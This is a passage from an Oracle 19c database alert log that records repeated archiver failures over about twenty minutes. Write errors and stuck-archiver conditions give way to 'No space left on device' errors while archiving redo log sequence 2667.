\u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC1 (PID:1867): Stuck archiver: inactive mandatory LAD:1 ARC1 (PID:1867): Stuck archiver condition declared 2025-12-27T23:41:06.613702+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc1_1867.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19502: write error on file \u0026#34;\u0026#34;, block number (block size=) ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC1 (PID:1867): Archival error occurred on a closed thread, archiver continuing 2025-12-27T23:41:06.614147+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-27T23:42:06.562692+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-27T23:42:06.588110+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc0_1861.trc: ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:42:06.598748+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc0_1861.trc: ORA-19502: write error on file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34;, block number 1 (block size=512) ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:42:06.598989+08:00 ARC0 (PID:1861): Error 19502 Closing archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC0 (PID:1861): Stuck archiver: inactive mandatory LAD:1 ARC0 (PID:1861): Stuck archiver condition declared 2025-12-27T23:42:06.628814+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc0_1861.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19502: write error on file \u0026#34;\u0026#34;, block number (block size=) ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC0 (PID:1861): Archival error occurred on a closed thread, archiver continuing 2025-12-27T23:42:06.629268+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-27T23:43:06.579901+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-27T23:43:06.603717+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc3_1871.trc: ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:43:06.614355+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc3_1871.trc: ORA-19502: write error on file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34;, block number 1 (block size=512) ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:43:06.614635+08:00 ARC3 (PID:1871): Error 19502 Closing archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC3 (PID:1871): Stuck archiver: inactive mandatory LAD:1 ARC3 (PID:1871): Stuck archiver condition declared 2025-12-27T23:43:06.645516+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc3_1871.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19502: write error on file \u0026#34;\u0026#34;, block number (block size=) ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC3 (PID:1871): Archival error occurred on a closed thread, archiver continuing 2025-12-27T23:43:06.645998+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-27T23:44:06.592406+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-27T23:44:06.602666+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc2_1869.trc: ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:44:06.608741+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc2_1869.trc: ORA-19502: write error on file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34;, block number 1 (block size=512) ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:44:06.608840+08:00 ARC2 (PID:1869): Error 19502 Closing archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC2 (PID:1869): Stuck archiver: inactive mandatory LAD:1 ARC2 (PID:1869): Stuck archiver condition declared 2025-12-27T23:44:06.630622+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc2_1869.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19502: write error on file \u0026#34;\u0026#34;, block number (block size=) ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC2 (PID:1869): Archival error occurred on a closed thread, archiver continuing 2025-12-27T23:44:06.631146+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-27T23:45:06.608993+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-27T23:45:06.632844+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc1_1867.trc: ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:45:06.642844+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc1_1867.trc: ORA-19502: write error on file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34;, block number 1 (block size=512) ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:45:06.643084+08:00 ARC1 (PID:1867): Error 19502 Closing archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC1 (PID:1867): Stuck archiver: inactive mandatory LAD:1 ARC1 (PID:1867): Stuck archiver condition declared 2025-12-27T23:45:06.673685+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc1_1867.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19502: write error on file \u0026#34;\u0026#34;, block number (block size=) ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC1 (PID:1867): Archival error occurred on a closed thread, archiver continuing 2025-12-27T23:45:06.674166+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-27T23:46:06.626704+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-27T23:46:06.651643+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc0_1861.trc: ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:46:06.662071+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc0_1861.trc: ORA-19502: write error on file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34;, block number 1 (block size=512) ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:46:06.662300+08:00 ARC0 (PID:1861): Error 19502 Closing archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC0 (PID:1861): Stuck archiver: inactive mandatory LAD:1 ARC0 (PID:1861): Stuck archiver condition declared 2025-12-27T23:46:06.691695+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc0_1861.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19502: write error on file \u0026#34;\u0026#34;, block number (block size=) ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC0 (PID:1861): Archival error occurred on a closed thread, archiver continuing 2025-12-27T23:46:06.692181+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-27T23:46:22.917251+08:00 minact-scn: useg scan erroring out with error e:12751 2025-12-27T23:46:22.984730+08:00 Some DDE async actions failed or were cancelled 2025-12-27T23:47:06.643353+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-27T23:47:06.668631+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc3_1871.trc: ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:47:06.678349+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc3_1871.trc: ORA-19502: write error on file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34;, block number 1 (block size=512) ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:47:06.678644+08:00 ARC3 (PID:1871): Error 19502 Closing archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC3 (PID:1871): Stuck archiver: inactive mandatory LAD:1 ARC3 (PID:1871): Stuck archiver condition declared 2025-12-27T23:47:06.708600+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc3_1871.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19502: write error on file \u0026#34;\u0026#34;, block number (block size=) ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC3 (PID:1871): Archival error occurred on a closed thread, archiver continuing 2025-12-27T23:47:06.709447+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-27T23:48:06.656240+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-27T23:48:06.668161+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc2_1869.trc: ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:48:06.675463+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc2_1869.trc: ORA-19502: write error on file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34;, block number 1 (block size=512) ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:48:06.675986+08:00 ARC2 (PID:1869): Error 19502 Closing archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC2 (PID:1869): Stuck archiver: inactive mandatory LAD:1 ARC2 (PID:1869): Stuck archiver condition declared 2025-12-27T23:48:06.703345+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc2_1869.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19502: write error on file \u0026#34;\u0026#34;, block number (block size=) ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC2 (PID:1869): Archival error occurred on a closed thread, archiver continuing 2025-12-27T23:48:06.703934+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-27T23:49:06.674072+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-27T23:49:06.701447+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc1_1867.trc: ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:49:06.711042+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc1_1867.trc: ORA-19502: write error on file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34;, block number 1 (block size=512) ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:49:06.711301+08:00 ARC1 (PID:1867): Error 19502 Closing archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC1 (PID:1867): Stuck archiver: inactive mandatory LAD:1 ARC1 (PID:1867): Stuck archiver condition declared 2025-12-27T23:49:06.752317+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc1_1867.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19502: write error on file \u0026#34;\u0026#34;, block number (block size=) ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC1 (PID:1867): Archival error occurred on a closed thread, archiver continuing 2025-12-27T23:49:06.752612+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-27T23:50:06.690437+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-27T23:50:06.716859+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc0_1861.trc: ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:50:06.725186+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc0_1861.trc: ORA-19502: write error on file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34;, block number 1 (block size=512) ORA-27072: File I/O error Additional information: 4 Additional information: 1 Additional information: 3584 2025-12-27T23:50:06.725532+08:00 ARC0 (PID:1861): Error 19502 Closing archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC0 (PID:1861): Stuck archiver: inactive mandatory LAD:1 ARC0 (PID:1861): Stuck archiver condition declared 2025-12-27T23:50:06.757055+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc0_1861.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19502: write error on file \u0026#34;\u0026#34;, block number (block size=) ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC0 (PID:1861): Archival error occurred on a closed thread, archiver continuing 2025-12-27T23:50:06.757626+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-27T23:51:06.692772+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-27T23:51:06.705879+08:00 ARC3 (PID:1871): Unable to create archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; 2025-12-27T23:51:06.718235+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc3_1871.trc: ORA-19504: failed to create file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34; ORA-27040: file create error, unable to create file Linux-x86_64 Error: 28: No space left on device Additional information: 1 ARC3 (PID:1871): Error 19504 Creating archive log file to \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC3 (PID:1871): Stuck archiver: inactive mandatory LAD:1 ARC3 (PID:1871): Stuck archiver condition declared 2025-12-27T23:51:06.744825+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc3_1871.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19504: failed to create file \u0026#34;\u0026#34; ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC3 (PID:1871): Archival error occurred on a closed thread, archiver continuing 2025-12-27T23:51:06.745055+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-27T23:52:06.695860+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-27T23:52:06.705411+08:00 ARC2 (PID:1869): Unable to create archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; 2025-12-27T23:52:06.714636+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc2_1869.trc: ORA-19504: failed to create file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34; ORA-27040: file create error, unable to create file Linux-x86_64 Error: 28: No space left on device Additional information: 1 ARC2 (PID:1869): Error 19504 Creating archive log file to \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC2 (PID:1869): Stuck archiver: inactive mandatory LAD:1 ARC2 (PID:1869): Stuck archiver condition declared 2025-12-27T23:52:06.747344+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc2_1869.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19504: failed to create file \u0026#34;\u0026#34; ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC2 (PID:1869): Archival error occurred on a closed thread, archiver continuing 2025-12-27T23:52:06.748228+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-27T23:53:06.697895+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-27T23:53:06.710152+08:00 ARC1 (PID:1867): Unable to create archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; 2025-12-27T23:53:06.720478+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc1_1867.trc: ORA-19504: failed to create file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34; ORA-27040: file create error, unable to create file Linux-x86_64 Error: 28: No space left on device Additional information: 1 ARC1 (PID:1867): Error 19504 Creating archive log file to \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC1 (PID:1867): Stuck archiver: inactive mandatory LAD:1 ARC1 (PID:1867): Stuck archiver condition declared 2025-12-27T23:53:06.754203+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc1_1867.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19504: failed to create file \u0026#34;\u0026#34; ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC1 (PID:1867): Archival error occurred on a closed thread, archiver continuing 2025-12-27T23:53:06.754731+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-27T23:53:06.819370+08:00 Non critical error ORA-48113 caught while writing to trace file \u0026#34;/u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc3_1871.trc\u0026#34; Error message: Writing to the above trace file is disabled for now... 2025-12-27T23:54:06.700999+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-27T23:54:06.711114+08:00 ARC0 (PID:1861): Unable to create archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; 2025-12-27T23:54:06.714174+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc0_1861.trc: ORA-19504: failed to create file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34; ORA-27040: file create error, unable to create file Linux-x86_64 Error: 28: No space left on device Additional information: 1 ARC0 (PID:1861): Error 19504 Creating archive log file to \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC0 (PID:1861): Stuck archiver: inactive mandatory LAD:1 ARC0 (PID:1861): Stuck archiver condition declared 2025-12-27T23:54:06.742506+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc0_1861.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19504: failed to create file \u0026#34;\u0026#34; ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC0 (PID:1861): Archival error occurred on a closed thread, archiver continuing 2025-12-27T23:54:06.743788+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-27T23:55:06.705106+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-27T23:55:06.713941+08:00 ARC3 (PID:1871): Unable to create archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; 2025-12-27T23:55:06.715084+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc3_1871.trc: ORA-19504: failed to create file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34; ORA-27040: file create error, unable to create file Linux-x86_64 Error: 28: No space left on device Additional information: 1 ARC3 (PID:1871): Error 19504 Creating archive log file to \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC3 (PID:1871): Stuck archiver: inactive mandatory LAD:1 ARC3 (PID:1871): Stuck archiver condition declared 2025-12-27T23:55:06.750440+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc3_1871.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19504: failed to create file \u0026#34;\u0026#34; ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC3 (PID:1871): Archival error occurred on a closed thread, archiver continuing 2025-12-27T23:55:06.751463+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-27T23:56:06.708700+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-27T23:56:06.714393+08:00 ARC2 (PID:1869): Unable to create archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; 2025-12-27T23:56:06.715509+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc2_1869.trc: ORA-19504: failed to create file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34; ORA-27040: file create error, unable to create file Linux-x86_64 Error: 28: No space left on device Additional information: 1 ARC2 (PID:1869): Error 19504 Creating archive log file to \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC2 (PID:1869): Stuck archiver: inactive mandatory LAD:1 ARC2 (PID:1869): Stuck archiver condition declared 2025-12-27T23:56:06.751473+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc2_1869.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19504: failed to create file \u0026#34;\u0026#34; ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC2 (PID:1869): Archival error occurred on a closed thread, archiver continuing 2025-12-27T23:56:06.752041+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-27T23:56:34.266946+08:00 minact-scn: useg scan erroring out with error e:12751 Suspending MMON action \u0026#39;Block Cleanout Optim, Undo Segment Scan\u0026#39; for 104400 seconds 2025-12-27T23:56:34.307255+08:00 Non critical error ORA-48180 caught while writing to trace file \u0026#34;/u01/app/oracle/diag/rdbms/db/db1/trace/db1_m004_9588.trc\u0026#34; Error message: Linux-x86_64 Error: 28: No space left on device Additional information: 1 Writing to the above trace file is disabled for now... 2025-12-27T23:56:34.322004+08:00 Non critical error ORA-48180 caught while writing to trace file \u0026#34;/u01/app/oracle/diag/rdbms/db/db1/trace/db1_m002_9590.trc\u0026#34; Error message: Linux-x86_64 Error: 28: No space left on device Additional information: 1 Writing to the above trace file is disabled for now... 2025-12-27T23:56:34.355182+08:00 Non critical error ORA-48180 caught while writing to trace file \u0026#34;/u01/app/oracle/diag/rdbms/db/db1/trace/db1_m003_9593.trc\u0026#34; Error message: Linux-x86_64 Error: 28: No space left on device Additional information: 1 Writing to the above trace file is disabled for now... 2025-12-27T23:56:34.372391+08:00 Non critical error ORA-48180 caught while writing to trace file \u0026#34;/u01/app/oracle/diag/rdbms/db/db1/trace/db1_mz01_9601.trc\u0026#34; Error message: Linux-x86_64 Error: 28: No space left on device Additional information: 1 Writing to the above trace file is disabled for now... 2025-12-27T23:56:34.382154+08:00 Non critical error ORA-48180 caught while writing to trace file \u0026#34;/u01/app/oracle/diag/rdbms/db/db1/trace/db1_mz02_9603.trc\u0026#34; Error message: Linux-x86_64 Error: 28: No space left on device Additional information: 1 Writing to the above trace file is disabled for now... 2025-12-27T23:56:34.392108+08:00 Non critical error ORA-48180 caught while writing to trace file \u0026#34;/u01/app/oracle/diag/rdbms/db/db1/trace/db1_mz03_9605.trc\u0026#34; Error message: Linux-x86_64 Error: 28: No space left on device Additional information: 1 Writing to the above trace file is disabled for now... 2025-12-27T23:57:06.712085+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-27T23:57:06.718608+08:00 ARC1 (PID:1867): Unable to create archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; 2025-12-27T23:57:06.719367+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc1_1867.trc: ORA-19504: failed to create file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34; ORA-27040: file create error, unable to create file Linux-x86_64 Error: 28: No space left on device Additional information: 1 ARC1 (PID:1867): Error 19504 Creating archive log file to \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC1 (PID:1867): Stuck archiver: inactive mandatory LAD:1 ARC1 (PID:1867): Stuck archiver condition declared 2025-12-27T23:57:06.755246+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc1_1867.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19504: failed to create file \u0026#34;\u0026#34; ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC1 (PID:1867): Archival error occurred on a closed thread, archiver continuing 2025-12-27T23:57:06.755871+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-27T23:58:06.715025+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-27T23:58:06.720654+08:00 ARC0 (PID:1861): Unable to create archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; 2025-12-27T23:58:06.721432+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc0_1861.trc: ORA-19504: failed to create file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34; ORA-27040: file create error, unable to create file Linux-x86_64 Error: 28: No space left on device Additional information: 1 ARC0 (PID:1861): Error 19504 Creating archive log file to \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC0 (PID:1861): Stuck archiver: inactive mandatory LAD:1 ARC0 (PID:1861): Stuck archiver condition declared 2025-12-27T23:58:06.755659+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc0_1861.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19504: failed to create file \u0026#34;\u0026#34; ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC0 (PID:1861): Archival error occurred on a closed thread, archiver continuing 2025-12-27T23:58:06.756097+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-27T23:59:06.718435+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-27T23:59:06.724282+08:00 ARC3 (PID:1871): Unable to create archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; 2025-12-27T23:59:06.724971+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc3_1871.trc: ORA-19504: failed to create file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34; ORA-27040: file create error, unable to create file Linux-x86_64 Error: 28: No space left on device Additional information: 1 ARC3 (PID:1871): Error 19504 Creating archive log file to \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC3 (PID:1871): Stuck archiver: inactive mandatory LAD:1 ARC3 (PID:1871): Stuck archiver condition declared 2025-12-27T23:59:06.759346+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc3_1871.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19504: failed to create file \u0026#34;\u0026#34; ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC3 (PID:1871): Archival error occurred on a closed thread, archiver continuing 2025-12-27T23:59:06.760050+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-28T00:00:06.720395+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-28T00:00:06.726150+08:00 ARC2 (PID:1869): Unable to create archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; 2025-12-28T00:00:06.726735+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc2_1869.trc: ORA-19504: failed to create file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34; ORA-27040: file create error, unable to create file Linux-x86_64 Error: 28: No space left on device Additional information: 1 ARC2 (PID:1869): Error 19504 Creating archive log file to \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC2 (PID:1869): Stuck archiver: inactive mandatory LAD:1 ARC2 (PID:1869): Stuck archiver condition declared 2025-12-28T00:00:06.750745+08:00 Errors in file 